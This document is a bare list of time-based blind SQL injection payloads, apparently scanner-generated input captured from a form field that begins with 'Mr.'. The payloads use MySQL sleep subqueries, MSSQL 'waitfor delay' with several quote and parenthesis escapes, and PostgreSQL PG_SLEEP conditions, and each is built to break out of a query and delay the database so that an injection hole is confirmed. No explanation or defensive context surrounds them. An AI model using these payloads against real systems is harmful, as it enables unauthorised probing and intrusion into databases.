Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

JD9eofc1'; waitfor delay '0:0:15' --

P45uDem5'); waitfor delay '0:0:15' --

InOMb0BE')); waitfor delay '0:0:15' --

-5 OR 194=(SELECT 194 FROM PG_SLEEP(15))--

-5) OR 839=(SELECT 839 FROM PG_SLEEP(15))--